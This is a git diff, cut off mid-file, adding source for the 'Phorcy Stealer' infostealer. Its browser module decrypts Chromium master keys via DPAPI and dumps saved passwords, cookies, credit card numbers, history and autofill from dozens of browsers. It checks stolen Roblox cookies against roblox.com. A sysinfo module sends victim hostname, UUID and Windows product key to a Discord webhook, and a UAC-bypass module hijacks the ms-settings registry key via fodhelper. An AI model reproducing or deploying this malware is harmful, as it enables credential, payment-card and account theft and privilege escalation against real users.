profile, 'Bookmarks'); - if (this.fileExists(bookmarkFile)) { - try { - await this.getBookmark(bookmarkFile); - } catch (err) { - console.error(err); - } - } - const autofillFile = path.join(browserPath, profile, 'Web Data'); - if (this.fileExists(autofillFile)) { - try { - await this.getAutofill(autofillFile); - } catch (err) { - console.error(err); - } - } - } - } - } - } -} - -const browserStealer = new BrowserStealing() -browserStealer.Main() -console.log('Hello, World!') +const fs = require('fs'); +const sqlite3 = require('sqlite3').verbose(); +const crypto = require('crypto') +const path = require('path') +const dpapi = require('./node-dpapi'); +const axios = require('axios'); + +class BrowserStealing { + constructor() { + this.local = process.env.LOCALAPPDATA + this.roaming = process.env.APPDATA + this.phorcyDir = path.join(this.roaming, 'Phorcy'); + //this.browserPaths = [path.join(this.local, 'Google', 'Chrome', 'User Data'), path.join(this.local, 'Thorium', 'User Data')]; + this.browserPaths = [ + path.join(this.local, 'Opera Software', 'Opera Neon', 'User Data', 'Default'), + path.join(this.local, 'Opera Software', 'Opera Stable'), + path.join(this.local, 'Opera Software', 'Opera GX Stable'), + path.join(this.local, 'Amigo', 'User Data'), + path.join(this.local, 'Torch', 'User Data'), + path.join(this.local, 'Kometa', 'User Data'), + path.join(this.local, 'Orbitum', 'User Data'), + path.join(this.local, 'CentBrowser', 'User Data'), + path.join(this.local, '7Star', '7Star', 'User Data'), + path.join(this.local, 'Sputnik', 'Sputnik', 'User Data'), + path.join(this.local, 'Vivaldi', 'User Data'), + path.join(this.local, 'Google', 'Chrome SxS', 'User Data'), + path.join(this.local, 'Google', 'Chrome', 'User Data'), + path.join(this.local, 'Epic Privacy Browser', 'User Data'), + path.join(this.local, 'Microsoft', 'Edge', 'User Data'), + path.join(this.local, 'uCozMedia', 'Uran', 'User Data'), + path.join(this.local, 'Yandex', 'YandexBrowser', 'User Data'), + path.join(this.local, 'BraveSoftware', 'Brave-Browser', 'User Data'), + path.join(this.local, 'Iridium', 'User Data'), + path.join(this.local, 'Google', 'Chrome Beta', 'User Data'), + path.join(this.local, 'Google', 'Chrome SxS', 'User Data'), + path.join(this.local, 'Slimjet', 'User Data'), + path.join(this.local, 'Maxthon3', 'User Data'), + path.join(this.local, 'Thorium', 'User Data'), + path.join(this.local, 'AVAST Software', 'Avast Secure Browser', 'User Data'), + path.join(this.local, '8pecxstudios', 'Cyberfox', 'User Data'), + path.join(this.local, 'Waterfox', 'Profiles'), + path.join(this.local, 'Moonchild Productions', 'Pale Moon', 'Profiles'), + path.join(this.local, 'Comodo', 'Dragon', 'User Data'), + path.join(this.local, 'Coowon', 'User Data'), + path.join(this.local, 'GNU', 'IceCat', 'Profiles'), + path.join(this.local, 'Moonchild Productions', 'Basilisk', 'Profiles'), + path.join(this.local, 'Otter', 'Browser', 'User Data'), + path.join(this.local, 'WebDir', 'Opium', 'User Data'), + path.join(this.local, 'Comodo', 'Chromodo', 'User Data'), + path.join(this.local, 'Yandex', 'YandexBrowserBeta', 'User Data'), + path.join(this.local, 'SRWare Iron', 'User Data'), + path.join(this.local, 'Otter', 'Browser', 'User Data'), + path.join(this.local, 'Coowon', 'User Data'), + path.join(this.local, 'qutebrowser'), + path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'), + path.join(this.local, 'VivaldiSnapshot', 'User Data'), + path.join(this.local, 'Otter', 'Browser', 'User Data'), + path.join(this.local, 'Coowon', 'User Data'), + path.join(this.local, 'qutebrowser'), + path.join(this.local, 'Microsoft', 'Edge SxS', 'User Data'), + path.join(this.local, 'VivaldiSnapshot', 'User Data'), + ]; + this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5']; + this.tempDir = path.join(this.local, 'Temp'); + + //this.password_command = 'SELECT action_url, username_value, password_value FROM logins;'; + this.password_command = 'SELECT * FROM logins;'; + this.cookie_command = 'SELECT * FROM cookies;'; + this.cc_command = 'SELECT * FROM credit_cards;'; + this.history_command = 'SELECT * FROM urls;'; + this.downloads_command = 'SELECT * FROM downloads;'; + this.autofill_command = 'SELECT * FROM autofill;'; + + this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt'); + this.cookieFile = path.join(this.phorcyDir, 'browser_cookies.txt'); + this.ccFile = path.join(this.phorcyDir, 'browser_creditcards.txt'); + this.historyFile = path.join(this.phorcyDir, 'browser_history.txt'); + this.downloadsFile = path.join(this.phorcyDir, 'browser_downloads.txt'); + this.bookmarkFile = path.join(this.phorcyDir, 'browser_bookmarks.txt'); + this.autofillFile = path.join(this.phorcyDir, 'browser_autofill.txt'); + this.robloxFile = path.join(this.phorcyDir, 'roblox_cookies.txt'); + + this.password_count = 0; + this.cookie_count = 0; + this.cc_count = 0; + this.history_count = 0; + this.downloads_count = 0; + this.bookmark_count = 0; + this.autofill_count = 0; + this.roblox_count = 0; + } + + generateRandomString() { + const randomCharacter = () => Math.random().toString(36).substring(2, 3).toUpperCase(); + return `${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}-${randomCharacter()}${randomCharacter()}${Math.random().toString(36).substring(2, 7).toUpperCase()}`; + } + + getDate(value) { + const date = new Date(value / 1000); + return date; + } + + decipher(masterKey, value) { + let first = value.slice(3, 15), + middle = value.slice(15, value.length - 16), + end = value.slice(value.length - 16, value.length); + + let decipher = crypto.createDecipheriv("aes-256-gcm", masterKey, first); + decipher.setAuthTag(end); + + let decrypted = decipher.update(middle, "base64", "utf-8") + decipher.final("utf-8"); + + return decrypted; + } + + fileExists(filePath) { + try { + fs.accessSync(filePath, fs.constants.F_OK); + return true; + } catch (err) { + return false; + } + } + + async getKey(local_stateFile, callback) { + fs.readFile(local_stateFile, 'utf8', (err, data) => { + if (err) { + console.error(err); + return; + } + + const encryptedKey = Buffer.from(JSON.parse(data).os_crypt.encrypted_key, 'base64').slice(5); + + const decryptedKey = dpapi.unprotectData(encryptedKey, null, "CurrentUser"); + + console.log('Decryption Key:', decryptedKey); + + //return decryptedKey; + callback(null, decryptedKey); + }); + } + + async getPassword(loginFile, masterKey) { + const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); + + fs.copyFile(loginFile, tempFile, (err) => { + if (err) { + console.error(err); + } + + const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { + if (err) { + console.error(err); + return; + } + + db.all(this.password_command, (err, rows) => { + if (err) { + console.error(err); + } else { + rows.map(row => { + //console.log(row); + if (row && row['password_value']) { + this.password_count++; + try { + //const passwordList = `${masterKey.toString('hex')}\t${row['origin_url']}\t${row['action_url']}\t${row['username_element']}\t${row['username_value']}\t${row['password_element']}\t${this.decipher(masterKey, row['password_value'])}\t${row['submit_element']}\t${row['signon_realm']}\t${this.getDate(parseInt(row['date_created']))}\t${row['blacklisted_by_user']}\t${row['scheme']}\t${row['password_type']}\t${row['times_used']}\t${row['form_data']}\t${row['display_name']}\t${row['icon_url']}\t${row['federation_url']}\t${row['skip_zero_click']}\t${row['generation_upload_status']}\t${row['possible_username_pairs']}\t${row['id']}\t${row[21]}\t${this.getDate(parseInt(row['date_last_used']))}\t${row['moving_blocked_for']}\t${this.getDate(parseInt(row['date_password_modified']))}\t${row['sender_email']}\t${row['sender_name']}\t${row['date_received']}\t${row['sharing_notification_displayed']}\t${row['keychain_identifier']}\n`; + const passwordList = `Master Key: ${masterKey.toString('hex')}\nOrigin URL: ${row['origin_url']}\nAction URL: ${row['action_url']}\nUsername Element: ${row['username_element']}\nUsername Value: ${row['username_value']}\nPassword Element: ${row['password_element']}\nDeciphered Password: ${this.decipher(masterKey, row['password_value'])}\nSubmit Element: ${row['submit_element']}\nSignon Realm: ${row['signon_realm']}\nDate Created: ${this.getDate(parseInt(row['date_created']))}\nBlacklisted by User: ${row['blacklisted_by_user']}\nScheme: ${row['scheme']}\nPassword Type: ${row['password_type']}\nTimes Used: ${row['times_used']}\nForm Data: ${row['form_data']}\nDisplay Name: ${row['display_name']}\nIcon URL: ${row['icon_url']}\nFederation URL: ${row['federation_url']}\nSkip Zero Click: ${row['skip_zero_click']}\nGeneration Upload Status: ${row['generation_upload_status']}\nPossible Username Pairs: ${row['possible_username_pairs']}\nID: ${row['id']}\nRow 21: ${row[21]}\nDate Last Used: ${this.getDate(parseInt(row['date_last_used']))}\nMoving Blocked For: ${row['moving_blocked_for']}\nDate Password Modified: ${this.getDate(parseInt(row['date_password_modified']))}\nSender Email: ${row['sender_email']}\nSender Name: ${row['sender_name']}\nDate Received: ${row['date_received']}\nSharing Notification Displayed: ${row['sharing_notification_displayed']}\nKeychain Identifier: ${row['keychain_identifier']}\n\n`; + fs.writeFileSync(this.passwordFile, passwordList, { flag: 'a' }); + } catch (err) { + console.error(err); + } + } + }); + } + db.close((err) => { + if (err) { + console.error(err); + } + }); + console.log('Password count:', this.password_count) + }); + }); + }); + + if (this.fileExists(tempFile)) { + fs.unlink(tempFile, (err) => { + if (err) { + console.error(err); + } + }); + } + }; + + async getCookie(cookieFile, masterKey) { + const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); + + fs.copyFile(cookieFile, tempFile, (err) => { + if (err) { + console.error(err); + } + + const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { + if (err) { + console.error(err); + return; + } + + db.all(this.cookie_command, (err, rows) => { + if (err) { + console.error(err); + } else { + rows.map(row => { + //console.log(row); + if (row && row['encrypted_value']) { + this.cookie_count++; + try { + //const cookieList = `${masterKey.toString('hex')}\t${this.getDate(parseInt(row['creation_utc']))}\t${row['host_key']}\t${row['top_frame_site_key']}\t${row['name']}\t${row['value']}\t${this.decipher(masterKey, row['encrypted_value'])}\t${row['path']}\t${this.getDate(parseInt(row['expires_utc']))}\t${row['is_secure']}\t${row['is_httponly']}\t${this.getDate(parseInt(row['last_access_utc']))}\t${row['has_expires']}\t${row['is_persistent']}\t${row['priority']}\t${row['samesite']}\t${row['source_scheme']}\t${row['source_port']}\t${row['is_same_party']}\t${this.getDate(parseInt(row['last_update_utc']))}\n`; + const cookieList = `Master Key: ${masterKey.toString('hex')}\nCreation UTC: ${this.getDate(parseInt(row['creation_utc']))}\nHost Key: ${row['host_key']}\nTop Frame Site Key: ${row['top_frame_site_key']}\nName: ${row['name']}\nValue: ${row['value']}\nDeciphered Encrypted Value: ${this.decipher(masterKey, row['encrypted_value'])}\nPath: ${row['path']}\nExpires UTC: ${this.getDate(parseInt(row['expires_utc']))}\nIs Secure: ${row['is_secure']}\nIs HttpOnly: ${row['is_httponly']}\nLast Access UTC: ${this.getDate(parseInt(row['last_access_utc']))}\nHas Expires: ${row['has_expires']}\nIs Persistent: ${row['is_persistent']}\nPriority: ${row['priority']}\nSameSite: ${row['samesite']}\nSource Scheme: ${row['source_scheme']}\nSource Port: ${row['source_port']}\nIs Same Party: ${row['is_same_party']}\nLast Update UTC: ${this.getDate(parseInt(row['last_update_utc']))}\n\n`; + fs.writeFileSync(this.cookieFile, cookieList, { flag: 'a' }); + if ('.ROBLOSECURITY' === row.name.toString()) { + this.roblox_count++; + const robloSecurityo = this.decipher(masterKey, row['encrypted_value']) + //console.log(robloSecurityo); + let headers = { + 'cookie': `.ROBLOSECURITY=${robloSecurityo};`, + } + + axios.get("https://www.roblox.com/mobileapi/userinfo", { headers }) + .then(response => { + //console.log(response.data); + if (response.data) { + //let robloxData = `${masterKey.toString('hex')}\t${response.data['username']}\t${response.data['userid']}\t${response.data['robuxbalance']}\t${response.data['ispremium']}\t${robloSecurityo}\n`; + let robloxData = `Master Key: ${masterKey.toString('hex')}\nUsername: ${response.data['username']}\nUser ID: ${response.data['userid']}\nRobux Balance: ${response.data['robuxbalance']}\nIs Premium: ${response.data['ispremium']}\nRoblox Security: ${robloSecurityo}\n\n`; + fs.writeFileSync(this.robloxFile, robloxData, { flag: 'a' }); + } + }) + .catch(err => { + console.error(err); + }); + } + } catch (err) { + console.error(err); + } + } + }); + } + db.close((err) => { + if (err) { + console.error(err); + } + }); + console.log('Cookie count:', this.cookie_count); + console.log('Roblox count:', this.roblox_count); + }); + }); + }); + + if (this.fileExists(tempFile)) { + fs.unlink(tempFile, (err) => { + if (err) { + console.error(err); + } + }); + } + }; + + async getCreditCard(ccFile, masterKey) { + const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); + + fs.copyFile(ccFile, tempFile, (err) => { + if (err) { + console.error(err); + } + + const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { + if (err) { + console.error(err); + return; + } + + db.all(this.cc_command, (err, rows) => { + if (err) { + console.error(err); + } else { + rows.map(row => { + //console.log(row); + if (row && row['card_number_encrypted']) { + this.cc_count++; + try { + //const ccList = `${masterKey.toString('hex')}\t${row['guid']}\t${row['name_on_card']}\t${row['expiration_month']}/${row['expiration_year']}\t${this.decipher(masterKey, row['card_number_encrypted'])}\t${this.getDate(parseInt(row['date_modified']))}\t${row['origin']}\t${row['use_count']}\t${this.getDate(parseInt(row['use_date']))}\t${row['billing_adress_id']}\t${row['nickname']}\n`; + const ccList = `Master Key: ${masterKey.toString('hex')}\nGUID: ${row['guid']}\nName on Card: ${row['name_on_card']}\nExpiration Date: ${row['expiration_month']}/${row['expiration_year']}\nDeciphered Card Number: ${this.decipher(masterKey, row['card_number_encrypted'])}\nDate Modified: ${this.getDate(parseInt(row['date_modified']))}\nOrigin: ${row['origin']}\nUse Count: ${row['use_count']}\nUse Date: ${this.getDate(parseInt(row['use_date']))}\nBilling Address ID: ${row['billing_adress_id']}\nNickname: ${row['nickname']}\n\n`; + fs.writeFileSync(this.ccFile, ccList, { flag: 'a' }); + } catch (err) { + console.error(err); + } + } + }); + } + db.close((err) => { + if (err) { + console.error(err); + } + }); + console.log('Credit Card count:', this.cc_count) + }); + }); + }); + + if (this.fileExists(tempFile)) { + fs.unlink(tempFile, (err) => { + if (err) { + console.error(err); + } + }); + } + }; + + async getHistory(historyFile) { + const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); + + fs.copyFile(historyFile, tempFile, (err) => { + if (err) { + console.error(err); + } + + const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { + if (err) { + console.error(err); + return; + } + + db.all(this.history_command, (err, rows) => { + if (err) { + console.error(err); + } else { + rows.map(row => { + //console.log(row); + if (row && row['url']) { + this.history_count++; + try { + //const historyList = `${row['id']}\t${row['url']}\t${row['title']}\t${row['visit_count']}\t${row['typed_count']}\t${this.getDate(parseInt(row['last_visit_time']))}\t${row['hidden']}\n`; + const historyList = `ID: ${row['id']}\nURL: ${row['url']}\nTitle: ${row['title']}\nVisit Count: ${row['visit_count']}\nTyped Count: ${row['typed_count']}\nLast Visit Time: ${this.getDate(parseInt(row['last_visit_time']))}\nHidden: ${row['hidden']}\n\n`; + fs.writeFileSync(this.historyFile, historyList, { flag: 'a' }); + } catch (err) { + console.error(err); + } + } + }); + } + db.close((err) => { + if (err) { + console.error(err); + } + }); + console.log('History count:', this.history_count) + }); + }); + }); + + if (this.fileExists(tempFile)) { + fs.unlink(tempFile, (err) => { + if (err) { + console.error(err); + } + }); + } + }; + + async getDownload(downloadFile) { + const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); + + fs.copyFile(downloadFile, tempFile, (err) => { + if (err) { + console.error(err); + } + + const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { + if (err) { + console.error(err); + return; + } + + db.all(this.downloads_command, (err, rows) => { + if (err) { + console.error(err); + } else { + rows.map(row => { + //console.log(row); + if (row && row['tab_url']) { + this.downloads_count++; + try { + //const downloadsList = `${row['id']}\t${row['guid']}\t${row['current_path']}\t${row['target_path']}\t${this.getDate(parseInt(row['start_time']))}\t${row['received_bytes']}\t${row['total_bytes']}\t${row['state']}\t${row['danger_type']}\t${row['interrupt_reason']}\t${row['hash']}\t${row[this.getDate(parseInt(row['end_time']))]}\t${row['opened']}\t${this.getDate(parseInt(row['last_access_time']))}\t${row['transient']}\t${row['referrer']}\t${row['site_url']}\t${row['embedder_download_data']}\t${row['tab_url']}\t${row['tab_referrer_url']}\t${row['http_method']}\t${row['by_ext_id']}\t${row['by_ext_name']}\t${row['by_web_app_id']}\t${row['etag']}\t${row['last_modified']}\t${row['mime_type']}\t${row['original_mime_type']}\n`; + const downloadsList = `ID: ${row['id']}\nGUID: ${row['guid']}\nCurrent Path: ${row['current_path']}\nTarget Path: ${row['target_path']}\nStart Time: ${this.getDate(parseInt(row['start_time']))}\nReceived Bytes: ${row['received_bytes']}\nTotal Bytes: ${row['total_bytes']}\nState: ${row['state']}\nDanger Type: ${row['danger_type']}\nInterrupt Reason: ${row['interrupt_reason']}\nHash: ${row['hash']}\nEnd Time: ${this.getDate(parseInt(row['end_time']))}\nOpened: ${row['opened']}\nLast Access Time: ${this.getDate(parseInt(row['last_access_time']))}\nTransient: ${row['transient']}\nReferrer: ${row['referrer']}\nSite URL: ${row['site_url']}\nEmbedder Download Data: ${row['embedder_download_data']}\nTab URL: ${row['tab_url']}\nTab Referrer URL: ${row['tab_referrer_url']}\nHTTP Method: ${row['http_method']}\nBy Extension ID: ${row['by_ext_id']}\nBy Extension Name: ${row['by_ext_name']}\nBy Web App ID: ${row['by_web_app_id']}\nETag: ${row['etag']}\nLast Modified: ${row['last_modified']}\nMIME Type: ${row['mime_type']}\nOriginal MIME Type: ${row['original_mime_type']}\n\n`; + fs.writeFileSync(this.downloadsFile, downloadsList, { flag: 'a' }); + } catch (err) { + console.error(err); + } + } + }); + } + db.close((err) => { + if (err) { + console.error(err); + } + }); + console.log('Downloads count:', this.downloads_count) + }); + }); + }); + + if (this.fileExists(tempFile)) { + fs.unlink(tempFile, (err) => { + if (err) { + console.error(err); + } + }); + } + }; + + async getBookmark(bookmarkFile) { + const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); + + fs.copyFile(bookmarkFile, tempFile, (err) => { + if (err) { + console.error(err); + } + + fs.readFile(tempFile, 'utf8', (err, data) => { + if (err) { + console.error(err); + return; + } + let bookmarks = JSON.parse(data).roots.other.children; + //console.log(bookmarks); + try { + for (const item of bookmarks) { + //const bookmarkList = `${this.getDate(parseInt(item['date_added']))}\t${this.getDate(parseInt(item['date_last_used']))}\t${item['guid']}\t${item['id']}\t${item['meta_info']}\t${item['name']}\t${item['type']}\t${item['url']}\n`; + const bookmarkList = `Date Added: ${this.getDate(parseInt(item['date_added']))}\nDate Last Used: ${this.getDate(parseInt(item['date_last_used']))}\nGUID: ${item['guid']}\nID: ${item['id']}\nMeta Info: ${item['meta_info']}\nName: ${item['name']}\nType: ${item['type']}\nURL: ${item['url']}\n\n`; + fs.writeFileSync(this.bookmarkFile, bookmarkList, { flag: 'a' }); + this.bookmark_count++; + } + } catch (err) { + console.error(err); + } + console.log('Bookmark count:', this.bookmark_count) + }); + }); + + if (this.fileExists(tempFile)) { + fs.unlink(tempFile, (err) => { + if (err) { + console.error(err); + } + }); + } + }; + + async getAutofill(autofillFile) { + const tempFile = path.join(this.tempDir, `${this.generateRandomString()}.phorcy`); + + fs.copyFile(autofillFile, tempFile, (err) => { + if (err) { + console.error(err); + } + + const db = new sqlite3.Database(tempFile, sqlite3.OPEN_READWRITE, (err) => { + if (err) { + console.error(err); + return; + } + + db.all(this.autofill_command, (err, rows) => { + if (err) { + console.error(err); + } else { + rows.map(row => { + //console.log(row); + if (row && row['value']) { + this.autofill_count++; + try { + //const autofillList = `${row['name']}\t${row['value']}\t${row['value_lower']}\t${this.getDate(parseInt(row['date_created']))}\t${this.getDate(parseInt(row['date_last_used']))}\t${row['count']}\n`; + const autofillList = `Name: ${row['name']}\nValue: ${row['value']}\nLowercase Value: ${row['value_lower']}\nDate Created: ${this.getDate(parseInt(row['date_created']))}\nDate Last Used: ${this.getDate(parseInt(row['date_last_used']))}\nCount: ${row['count']}\n\n`; + fs.writeFileSync(this.autofillFile, autofillList, { flag: 'a' }); + } catch (err) { + console.error(err); + } + } + }); + } + db.close((err) => { + if (err) { + console.error(err); + } + }); + console.log('Autofill count:', this.autofill_count) + }); + }); + }); + + if (this.fileExists(tempFile)) { + fs.unlink(tempFile, (err) => { + if (err) { + console.error(err); + } + }); + } + }; + + async Main() { + // dir preparation + if (!this.fileExists(this.phorcyDir)) { + try { + fs.mkdirSync(this.phorcyDir); + } catch (err) { + console.error(err); + } + } + + // password, cookie, cc grabber + fs.writeFileSync(this.passwordFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.robloxFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.cookieFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.ccFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + for (const browserPath of this.browserPaths) { + if (this.fileExists(browserPath)) { + const localState = path.join(browserPath, 'Local State'); + if (this.fileExists(localState)) { + for (const profile of this.browserProfiles) { + const passwordFile = path.join(browserPath, profile, 'Login Data'); + if (this.fileExists(passwordFile)) { + try { + this.getKey(localState, async (err, key) => { + if (err) { + console.error(err); + } else { + await this.getPassword(passwordFile, key); + } + }); + } catch (err) { + console.error(err); + } + } + const cookieFile = path.join(browserPath, profile, 'Network', 'Cookies'); + if (this.fileExists(cookieFile)) { + try { + this.getKey(localState, async (err, key) => { + if (err) { + console.error(err); + } else { + await this.getCookie(cookieFile, key); + } + }); + } catch (err) { + console.error(err); + } + } + const ccFile = path.join(browserPath, profile, 'Web Data'); + if (this.fileExists(ccFile)) { + try { + this.getKey(localState, async (err, key) => { + if (err) { + console.error(err); + } else { + await this.getCreditCard(ccFile, key); + } + }); + } catch (err) { + console.error(err); + } + } + } + } + } + } + + // history, downloads, bookmark, autofill grabber + fs.writeFileSync(this.historyFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.downloadsFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.bookmarkFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + fs.writeFileSync(this.autofillFile, 't.me/phorcy\n-----------\n\n', { flag: 'a' }); + for (const browserPath of this.browserPaths) { + if (this.fileExists(browserPath)) { + for (const profile of this.browserProfiles) { + const historyFile = path.join(browserPath, profile, 'History'); + if (this.fileExists(historyFile)) { + try { + await this.getHistory(historyFile); + } catch (err) { + console.error(err); + } + } + const downloadsFile = path.join(browserPath, profile, 'History'); + if (this.fileExists(downloadsFile)) { + try { + await this.getDownload(downloadsFile); + } catch (err) { + console.error(err); + } + } + const bookmarkFile = path.join(browserPath, profile, 'Bookmarks'); + if (this.fileExists(bookmarkFile)) { + try { + await this.getBookmark(bookmarkFile); + } catch (err) { + console.error(err); + } + } + const autofillFile = path.join(browserPath, profile, 'Web Data'); + if (this.fileExists(autofillFile)) { + try { + await this.getAutofill(autofillFile); + } catch (err) { + console.error(err); + } + } + } + } + } + } +} + +const browserStealer = new BrowserStealing() +browserStealer.Main() +console.log('Hello, World!') diff --git a/Utils/ip-info.js b/main/base/modules/ip-info.js similarity index 100% rename from Utils/ip-info.js rename to main/base/modules/ip-info.js diff --git a/Utils/network.js b/main/base/modules/network.js similarity index 100% rename from Utils/network.js rename to main/base/modules/network.js diff --git a/Utils/sysinfo.js b/main/base/modules/sysinfo.js similarity index 97% rename from Utils/sysinfo.js rename to main/base/modules/sysinfo.js index ffe17db..5f9b57f 100644 --- a/Utils/sysinfo.js +++ b/main/base/modules/sysinfo.js @@ -1,70 +1,70 @@ -const si = require('systeminformation'); -const fs = require('fs'); -const axios = require('axios'); -const os = require('os') -const path = require('path') -const { execSync } = require('child_process') - -/// const config = { -/// webhook: "https://discord.com/api/webhooks/xxx/xxx" -///}; - -async function systemInformationFullCopy() { - try { - const resultObject = await si.getAllData(); - const jsonResult = JSON.stringify(resultObject, null, 2); - const phorcyPath = `${process.env.LOCALAPPDATA}\\Phorcy`; - fs.mkdir(phorcyPath, (err) => { - if (err && !err.message.includes('EEXIST')) { - } else { - const filePath = `${phorcyPath}\\system_info.json`; - fs.writeFileSync(filePath, jsonResult); - } - }); - } catch {} -} - -async function systemInformationDump() { - try { - const hostname = os.hostname(); - const username = os.userInfo().username; - const uuid = await execSync("wmic csproduct get uuid", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim(); - const product_key = await execSync("wmic path softwarelicensingservice get OA3xOriginalProductKey", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim(); - const device_model = await execSync("wmic csproduct get name", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim(); - const system_environment = await execSync("wmic os get Caption", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim(); - const system_language = await execSync('wmic os get MUILanguages', { stdio: ['inherit', 'pipe'] }).toString().trim().match(/"([^"]*)"/)[1]; - const execution_path = path.resolve(__filename); - - const sysinfembed = { - username: 'Phorcy Stealer', - avatar_url: 'https://cdn.discordapp.com/attachments/1173375133294002236/1174057935794614433/phorcy.jpg', - embeds: [ - { - title: `System, Victim:${uuid}`, - description: 'System Information Captured.', - color: 0x0013de, - footer: { - text: 't.me/phorcy', - }, - fields: [ - { name: 'Hostname', value: `\`\`\`${hostname}\`\`\``, inline: false }, - { name: 'Username', value: `\`\`\`${username}\`\`\``, inline: false }, - { name: 'UUID', value: `\`\`\`${uuid}\`\`\``, inline: false }, - { name: 'Product Key', value: `\`\`\`${product_key}\`\`\``, inline: false }, - { name: 'Device Model', value: `\`\`\`${device_model}\`\`\``, inline: false }, - { name: 'System Environment', value: `\`\`\`${system_environment}\`\`\``, inline: false }, - { name: 'System Language', value: `\`\`\`${system_language}\`\`\``, inline: false }, - { name: 'Execution Path', value: `\`\`\`${execution_path}\`\`\``, inline: false }, - ], - }, - ], - }; - await axios.post(config.webhook, sysinfembed, { headers: { 'Content-Type': 'application/json' } }); - } catch {} -} - -// systemInformationFullCopy(); - -systemInformationDump(); - -console.log('Hello, World!') +const si = require('systeminformation'); +const fs = require('fs'); +const axios = require('axios'); +const os = require('os') +const path = require('path') +const { execSync } = require('child_process') + +/// const config = { +/// webhook: "https://discord.com/api/webhooks/xxx/xxx" +///}; + +async function systemInformationFullCopy() { + try { + const resultObject = await si.getAllData(); + const jsonResult = JSON.stringify(resultObject, null, 2); + const phorcyPath = `${process.env.LOCALAPPDATA}\\Phorcy`; + fs.mkdir(phorcyPath, (err) => { + if (err && !err.message.includes('EEXIST')) { + } else { + const filePath = `${phorcyPath}\\system_info.json`; + fs.writeFileSync(filePath, jsonResult); + } + }); + } catch {} +} + +async function systemInformationDump() { + try { + const hostname = os.hostname(); + const username = os.userInfo().username; + const uuid = await execSync("wmic csproduct get uuid", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim(); + const product_key = await execSync("wmic path softwarelicensingservice get OA3xOriginalProductKey", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim(); + const device_model = await execSync("wmic csproduct get name", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim(); + const system_environment = await execSync("wmic os get Caption", { stdio: ["inherit", "pipe"] }).toString().split('\n')[1].trim(); + const system_language = await execSync('wmic os get MUILanguages', { stdio: ['inherit', 'pipe'] }).toString().trim().match(/"([^"]*)"/)[1]; + const execution_path = path.resolve(__filename); + + const sysinfembed = { + username: 'Phorcy Stealer', + avatar_url: 'https://cdn.discordapp.com/attachments/1173375133294002236/1174057935794614433/phorcy.jpg', + embeds: [ + { + title: `System, Victim:${uuid}`, + description: 'System Information Captured.', + color: 0x0013de, + footer: { + text: 't.me/phorcy', + }, + fields: [ + { name: 'Hostname', value: `\`\`\`${hostname}\`\`\``, inline: false }, + { name: 'Username', value: `\`\`\`${username}\`\`\``, inline: false }, + { name: 'UUID', value: `\`\`\`${uuid}\`\`\``, inline: false }, + { name: 'Product Key', value: `\`\`\`${product_key}\`\`\``, inline: false }, + { name: 'Device Model', value: `\`\`\`${device_model}\`\`\``, inline: false }, + { name: 'System Environment', value: `\`\`\`${system_environment}\`\`\``, inline: false }, + { name: 'System Language', value: `\`\`\`${system_language}\`\`\``, inline: false }, + { name: 'Execution Path', value: `\`\`\`${execution_path}\`\`\``, inline: false }, + ], + }, + ], + }; + await axios.post(config.webhook, sysinfembed, { headers: { 'Content-Type': 'application/json' } }); + } catch {} +} + +// systemInformationFullCopy(); + +systemInformationDump(); + +console.log('Hello, World!') diff --git a/Utils/uac_bypass.js b/main/base/modules/uac_bypass.js similarity index 97% rename from Utils/uac_bypass.js rename to main/base/modules/uac_bypass.js index 5f4d13a..e46a000 100644 --- a/Utils/uac_bypass.js +++ b/main/base/modules/uac_bypass.js @@ -1,56 +1,56 @@ -const { execSync } = require('child_process'); -const os = require('os'); -function UACbypass(method = 1) { - const execute = (cmd) => execSync(cmd, { shell: true, stdio: 'pipe' }).toString(); - - if (GetSelf()[1]) { - if (method === 1 || method === 2) { - const executable = process.execPath.replace(/\\/g, '\\\\'); - - execute(`reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /d "${executable}" /f`); - execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f'); - - const logCountBefore = execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').split('\n').length; - - if (method === 1) { - execute('computerdefaults --nouacbypass'); - } else if (method === 2) { - execute('fodhelper --nouacbypass'); - } - - const logCountAfter = execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').split('\n').length; - - execute('reg delete hkcu\\Software\\Classes\\ms-settings /f'); - - if (logCountAfter > logCountBefore) { - return UACbypass(method + 1); - } - } else { - return false; - } - return true; - } -} -function IsAdmin() { - return os.userInfo().username === 'Administrator'; -} -function 